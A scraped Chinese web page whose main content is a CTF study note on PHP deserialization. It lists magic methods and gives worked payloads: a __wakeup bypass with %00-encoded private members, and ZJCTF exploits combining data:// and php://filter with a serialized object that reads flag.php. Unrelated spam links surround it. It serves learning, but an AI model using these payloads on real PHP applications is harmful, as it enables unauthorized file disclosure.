当前位置: 首页 > news >正文

高师院校语言类课程体系改革与建设 教学成果奖申报网站上饶网站网站建设

高师院校语言类课程体系改革与建设 教学成果奖申报网站,上饶网站网站建设,python 做网站 数据库,我市强化属地网站建设别怕#xff0c;我一直陪着你 一.知识1.魔术方法 二.实例1.绕过__wakeup, private2.php://filter, data://, __tostring3. 一.知识 1.魔术方法 __construct() 当一个对象创建时自动调用 __destruct() 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象) __sleep… 别怕我一直陪着你 一.知识1.魔术方法 二.实例1.绕过__wakeup, private2.php://filter, data://, __tostring3. 一.知识 1.魔术方法 __construct() 当一个对象创建时自动调用 __destruct() 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象) __sleep() 使**用serialize()函数时触发 __wakeup 使用unserialse()**函数时会自动调用 __toString 当一个对象被当作一个字符串被调用 一 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据//调用私有属性时使用 __set() 用于将数据写入不可访问的属性 __isset() 在不可访问的属性上调用isset()或empty()触发 __unset() 在不可访问的属性上使用unset()时触发 __toString() 把类当作字符串使用时触发,返回值需要为字符串 __invoke() 当脚本尝试将对象调用为函数时触发 二.实例 1.绕过__wakeup, private ①脚本 ?php class Name{private $username nonono;private $password yesyes;public function __construct($username,$password){$this-username $username;$this-password $password;} }$a new Name(admin, 100); $b serialize($a); var_dump($b);O:4:Name:2:{s:14:Nameusername;s:5:admin;s:14:Namepassword;i:100;}②调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过把Name后面的2改为3或以上即可 O:4:Name:3:{s:14:Nameusername;s:5:admin;s:14:Namepassword;i:100;}③因为成员属性是private所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。 O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}2.php://filter, data://, __tostring ①file_get_contents的作用是将整个文件读入一个字符串 这里将text文件中读取字符串还要和welcome to the zjctf相等 这里使用的是data://写入协议 ?textdata://text/plain,welcome to the zjctf②源码提示了useless.php这里使用php伪协议来读取文件 php://filter/readconvert.base64-encode/resourceuseless.php③第一个payload ?textdata://text/plain,welcome to the zjctffilephp://filter/readconvert.base64-encode/resourceuseless.php ④脚本 ?php class Flag{ //flag.php public $fileflag.php; public function __tostring(){if(isset($this-file)){ echo file_get_contents($this-file); echo br;return (U R SO CLOSE !///COME ON PLZ);} } } $a new Flag(); echo serialize($a);⑤第二个payload ?textdata://text/plain,welcome to the zjctffileuseless.phppasswordO:4:Flag:1:{s:4:file;s:8:flag.php;}不加伪协议了 flie还得正确地写 3. _destruct()方法会把op的值改为1这里需要绕过一下在2前面加一个空格即可op 2 脚本 ?php class FileHandler {public $op 2;public $filename flag.php;public $content ; } $a new FileHandler(); echo serialize($a); ?
http://www.hkea.cn/news/14567788/

相关文章:

  • 免费网站流量cp网站建设
  • 为您服务网站电子商务网站建设课程设计
  • ps详情页模板aso优化服务
  • 中国新农村建设促进会网站游戏创业项目
  • 网站pc端和手机端分离怎么做做网站编辑好吗
  • 志鸿优化设计网站seo策划方案案例分析
  • 建设电影网站的关键2016做砸了的小网站
  • 建设工程网站有哪些大学网站策划方案
  • 咨询型网站免费咨询的图片
  • 企业网站定制公司企业网站设计沈阳
  • 官网华为seo公司哪家
  • 资讯网站源码江西省建设厅网站
  • 外贸品牌网站建设企业营销网站建设步骤
  • 屏山县建设招标网站微信开放平台创建移动应用
  • 自己做网站卖产品怎么样购物网站开发的背景与意义
  • 天津 网站 备案广告模板
  • wordpress背景特效唐山seo公司
  • 网站收录检测wordpress主题导购
  • 网站策划是什么网站代运营要多少费用
  • 网站建站建设公司网站加app建设
  • 域名备案网站购买工业互联网平台是什么
  • 玩具网站 下载八百客crm系统登录入口
  • wordpress私密页面湛江网站建设产品优化
  • 建设部职业资格注册中心网站首商网官网
  • 台州网站建设多少钱网站开发获取本地ip
  • 青岛网站做网站多少钱dede做导航网站
  • 南京网站优化推广国网商城
  • 网站主机选择返利网站制作
  • 中国古风网站模板福建网站开发公司电话
  • 旅游网站建设论文专业的外贸行业网站设计